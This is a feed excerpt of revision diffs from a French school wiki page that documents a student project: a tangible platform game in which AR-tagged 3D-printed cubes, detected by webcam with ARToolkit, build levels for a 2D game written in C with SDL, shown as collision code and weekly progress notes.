&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;xmin = test-&amp;gt;x / carte-&amp;gt;LARGEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;ymin = test-&amp;gt;y / carte-&amp;gt;HAUTEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;xmax = (test-&amp;gt;x + test-&amp;gt;anim-&amp;gt;largeurchar -1) / carte-&amp;gt;LARGEUR_TILE;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	ymax = (test-&amp;gt;y + test-&amp;gt;anim-&amp;gt;hauteurchar -1) / carte-&amp;gt;HAUTEUR_TILE;	&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (xmin&amp;lt;0 || ymin&amp;lt;0 || xmax&amp;gt;=carte-&amp;gt;nbtiles_largeur_monde || ymax&amp;gt;=carte-&amp;gt;nbtiles_hauteur_monde)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		return 1;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	for(i=xmin;i&amp;lt;=xmax;i++)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		for(j=ymin;j&amp;lt;=ymax;j++)&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		{&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			indicetile = carte-&amp;gt;schema[i][j];&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (carte-&amp;gt;props[indicetile].mur )&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			return 1; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	if (carte-&amp;gt;props[indicetile].danger )&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;			return 2; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;		}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;	}&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;return 0;&lt;br /&gt;
&amp;lt;br&amp;gt;}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons donc en parallèle, rajouté un nouveau paramètre à notre petit personnage : ses vies, et donc la possibilité à notre programme de finir en GAME OVER. Pour que le jeu nous affiche un game over lorsque notre personnage n'a plus de vie, nous avons divisé notre programme d'une boucle en deux boucles distinctes. La première étant la boucle faisant tourner le jeu, prenant fin lorsque le joueur appuie sur la touche échap OU que son personnage n'a plus de vie. Le programme arrive alors dans la seconde boucle qui va simplement nous afficher une image de GAME OVER en attente d'une interruption généré par l'appui sur la touche espace, le programme s’arrête alors.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=28687</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=28687"/>
				<updated>2016-03-12T11:26:23Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Partie Jeu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
==Déroulement des séances==&lt;br /&gt;
===Semaine 1 et 2===&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez pluissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3===&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
====Partie Artoolkit==== &lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable qui nous est fourni dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;br /&gt;
&lt;br /&gt;
===Semaine 4===&lt;br /&gt;
====Partie Conception====&lt;br /&gt;
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:Cube.jpg |400px|Réalisation des cubes sur imprimante 3D]]&lt;br /&gt;
&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
&lt;br /&gt;
Après avoir rencontré des difficultés avec la détection sur les trois dimensions nous avons décidé d'effectuer des tests pour une dimension afin de simplifier dans un premier temps le code. Après plusieurs manipulations il s'est avéré qu'il fallait prendre en compte que la bibliothèque rendait le programme extrêmement précis ( pour un cube immobile on obtenait une marge d'erreur de 6 pour l'axe des x et 7 pour l'axe des y ). Ainsi il a été nécessaire d'incorporer cette marge d'erreur à notre code. On a ainsi obtenu le résultat escompté : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;[[Fichier:montage.png |Exemple de disposition des cubes]] &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultatterminal.png |Résultat obtenu dans la console]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;Les différents chiffres présents dans la console identifient les patterns utilisés de la façon suivant :&lt;br /&gt;
&amp;lt;br&amp;gt; 1 pour le cube principal A&lt;br /&gt;
&amp;lt;br&amp;gt; 2 pour le cube B&lt;br /&gt;
&amp;lt;br&amp;gt; 3 pour le cube C etc..&lt;br /&gt;
&amp;lt;br&amp;gt;Cela nous permettra par la suite lors de la programmation du jeu de pouvoir différencier des cubes représentant le sol, ceux qui représentent des tuyaux etc..&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:CodeCube.png |Code pour déterminer la position d'un cube]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Certaines fonctions du jeu comme la fonction de création de niveau à partir du fichier texte, la gestion de l'animation du personnage et des collisions ont été réalisé et testé positivement. &lt;br /&gt;
&amp;lt;br&amp;gt;Création du niveau à partir d'une matrice comprise dans un fichier texte : &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &lt;br /&gt;
[[Fichier:Level.png |400px | Création d'un level à partir d'un fichier texte]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite implémenté une méthode de scrolling à notre programme. Des problèmes ont été rencontrés lors de la réunion de toutes ces fonctions. La solution fut finalement trouvée en équipe, nous avions oublié de prendre en compte l'animation du personnage dans le scrolling de l'écran. L'étape suivant est donc la mise en place d'une &amp;quot; gravité&amp;quot; , qui est en fait un forçage du personnage vers le bas , hors saut. Donc ensuite ajout au personnage la possibilité de sauter. Nous en sommes actuellement à ce point dans cette partie car il y a un problème de collision en l'air lors d'un saut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Nous avons rajouté dans le programme une fonction qui écrit la matrice du niveau dans un fichier texte afin de permettre à l'application du jeu de le lire pour pouvoir réaliser le niveau en scrolling.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
[[Fichier:Resultat dans fichier.png  |Résultat obtenu dans la console]]&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
L'installation de la gravité dans le jeu pour le personnage est finis avec résolution des problèmes de collision en l'air. Pour cela il a fallu prendre une décision : quand le joueur appuie sur une direction en y et en x et que le jeux détecte une collision uniquement dans la direction des x, nous avions la possibilité soit d'autoriser uniquement le mouvement du personnage vers l'axe des y, soit d'interdire tout mouvement. Nous avons donc décidé de choisir la deuxième solution , car dans le cas ou le personnage était déjà en l'air lors de cette collision, si on lui autorisait encore à monter sur l'axe des y , on avait une impression que le personnage volait le long des décors.&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
====Partie Artoolkit====&lt;br /&gt;
Cette semaine nous nous sommes posés la question de la réunion de nos deux programmes. &lt;br /&gt;
&amp;lt;br&amp;gt;Pour cela nous avons décidé d'utiliser des threads pour pouvoir faire tourner les deux programmes de façons simultanées. Nous avons également vu avec Mr Boé la semaine dernière qu'il nous faudrait trouver un moyen pour économiser des ressources du processeur car nous étions dans l'optique d'un scrolling de base à savoir que le jeu devait réactualiser la carte en continu pour éviter de manquer le changement de position d'un cube.&lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi nous sommes parvenu à une solution en écrivant une fonction qui somme la totalité de la valeur des cubes. &lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:Codecube2.png |Fonction pour ]] &lt;br /&gt;
&amp;lt;br&amp;gt;Ainsi, en cas de changement de la valeur on passe une valeur chgt à 1 qui repasse à 0 le tour suivant. De cette façon, le programme du jeu ne doit recharger la map qu'en cas de modification de la variable changement.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Notre niveau de jeu était jusqu'à présent constitué de 2 types de tiles , soit un mur, donc l'impossibilité pour le personnage d'y passer à travers, soit du ciel. Nous allons ajouter pour un peu de plus de piquant à notre jeu, un nouveau type : le danger, qui fera perdre à notre personnage une vie lorsqu'il entrera en collision avec ce type de tiles.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=28686</id>
		<title>Jeu de plateforme tangible</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Jeu_de_plateforme_tangible&amp;diff=28686"/>
				<updated>2016-03-12T11:22:34Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Partie Jeu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Il s'agit de réaliser un système tangible qui à l'aide de cubes matérialise un niveau de jeu en 2D de type Mario. Ainsi dès le moment où nous disposons des cubes sur une surface, &lt;br /&gt;
&amp;lt;BR&amp;gt;ces cubes sont analysés puis ils apparaissent instantanément dans le jeu. Il est ainsi possible de modifier les niveaux pendant que l'utilisateur principal joue. On peut donc crée une infinité de niveaux.&lt;br /&gt;
&lt;br /&gt;
===Cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Le dispositif devra être capable :&lt;br /&gt;
&amp;lt;br&amp;gt;- De détecter des cubes matériels formant un &amp;quot;niveau&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;- D'analyser ces cubes et de les convertir en numérique.&lt;br /&gt;
&amp;lt;br&amp;gt;- De les intégrer à un jeu fonctionnant sur PC&lt;br /&gt;
&amp;lt;br&amp;gt;- D'être suffisamment rapide pour que si une personne change des cubes le niveau du jeu s'actualise.&lt;br /&gt;
 &lt;br /&gt;
===Choix techniques : matériel et logiciel===&lt;br /&gt;
&lt;br /&gt;
Après rendez-vous avec Mr Boé nous sommes partis sur une solution à base d'ARTag. En effet, nous allons devoir réaliser des cubes sur lesquels nous placerons des Tags qu'une webcam &lt;br /&gt;
&amp;lt;br&amp;gt;pourra détecter et qu'un ordinateur pourra analyser à l'aide de la bibliothèque ARToolkit qui permet de faire du développement pour de la réalité augmentée. Il y aura plusieurs sortes de cubes &lt;br /&gt;
&amp;lt;br&amp;gt;( Un cube de départ et de fin de niveau et des cubes simples de chemins ou de vides ) chacun de ces cubes aura sur lui un tag. Les cubes pourront avoir des tailles différentes selon ce qu'ils sont et ainsi augmenté le réalisme. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; [[Fichier:cubes-1.jpg|800px|Schéma du dispositif]]&lt;br /&gt;
&lt;br /&gt;
===Établissement d'une liste de matériel===&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne le matériel nous aurons besoin :&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une webcam pour faire les acquisitions vidéos.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'une raspberry Pi pour les traiter.[&amp;lt;span style=&amp;quot;color: green&amp;quot;&amp;gt;Fournie 27/01/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&amp;lt;br&amp;gt;- D'utiliser l'imprimante 3D afin de confectionner les cubes pour le jeu.&lt;br /&gt;
&lt;br /&gt;
===Contraintes attendues===&lt;br /&gt;
&lt;br /&gt;
- La position de la webcam par rapport aux cubes : positionner la webcam suffisamment loin pour avoir un nombre de cubes suffisant tout en faisant attention &lt;br /&gt;
&amp;lt;br&amp;gt; à la résolution de la caméra.&lt;br /&gt;
&amp;lt;br&amp;gt;- Les obstacles entre la caméra et les cubes : par exemple si une personne met sa main entre la webcam et les cubes ceux-ci vont disparaître dans le jeu.&lt;br /&gt;
&amp;lt;br&amp;gt;- La détection de la position des cubes les uns par rapport aux autres.&lt;br /&gt;
&lt;br /&gt;
==Déroulement des séances==&lt;br /&gt;
===Semaine 1 et 2===&lt;br /&gt;
Nous avons cette première semaine tenté de comprendre les différents programmes fournis par ArToolkit pour pouvoir l'adapter comme nous le souhaitions mais également d'installer et de configurer la Raspberry.&lt;br /&gt;
Malheureusement après plusieurs tentatives nous avons constaté que la raspberry n'était pas assez pluissante pour pouvoir faire tourner Artoolkit. Nous avons donc abandonné l'idée de la raspberry pour utiliser une webcam.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3===&lt;br /&gt;
A partir de cette semaine nous avons décidé de nous partager le projet, c'est-à-dire l'un de nous s'occupe de la partie jeu et l'autre de la partie Artoolkit.&lt;br /&gt;
====Partie Artoolkit==== &lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser un programme dont le code était fourni dans les exemples de la bibliothèque en le modifiant afin de le faire convenir à nos besoins. La première difficulté fut de comprendre le code car il utilise beaucoup de fonctions qui ne sont pas utiles à notre jeu de plateforme. Après analyse il a fallu supprimer toutes les fonctions d'animations 3D du programme. Après cela, il était nécessaire de pouvoir déterminer la position de plusieurs patterns de façon simultanée afin de pouvoir effectuer une comparaison de position les uns par rapport aux autres. Pour cela nous avons dû utiliser une variable qui nous est fourni dans les bibliothèques d'Artoolkit à savoir patt_trans[3][4] qui est une matrice qui nous donne les coordonnées en x,y et en z du pattern par rapport à la caméra. Cela fait, il fallait maintenant comparer les positions des différents patterns par rapport à un cube de &amp;quot;départ&amp;quot; imposé. &lt;br /&gt;
Pour cela il faut réaliser une boucle qui va vérifier la présence des patterns et si il y a présence, sauvegarder ses coordonnées et regarder par rapport aux coordonnées de la base mais cela ne fonctionne qu'en partie pour le moment.&lt;br /&gt;
&lt;br /&gt;
====Partie Jeu====&lt;br /&gt;
&lt;br /&gt;
Pour cette partie nous avons décidé d'utiliser le langage de programmation C pour programmer notre jeu avec l'aide de la bibliothèque SDL, qui permet de réaliser des Applications graphiques comme les jeux 2D ou 3D. Cette librairie correspond donc tout à fait avec ce que nous avons besoin dans notre projet. Nous avons donc du apprendre à manipuler cette librairie et ses nombreuses fonctions à l'aide de différents tutoriels trouvés sur internet. Nous avons ensuite choisi d'utiliser la technique de Tile Mapping de cette bibliothèque. Cette technique permet de créer un niveau de jeu à l'aide d'une matrice de nombres comprises à l'intérieur d'un fichier texte. Écrire et lire dans un fichier à partir d'un programme C étant dans nos compétences déjà acquises, nous pourrons donc plus facilement faire la liaison entre nos deux parties grâce à cette technique par l’intermédiaire de fichiers texte. &lt;br /&gt;
Nous nous concentrons donc dans cette partie plus sur la programmation du jeu, par le traitement des fichiers texte, de la création et l’interaction avec les décors (collisions) puis de l'animation.&lt;br /&gt;
&lt;br /&gt;
===Semaine 4===&lt;br /&gt;
====Partie Conception====&lt;br /&gt;
Nous avons réalisé les cubes sur l'imprimante 3D et nous avons donc du modifier le code car la taille n'était pas exactement la même que celle des cubes en cartons.&lt;br /&gt;
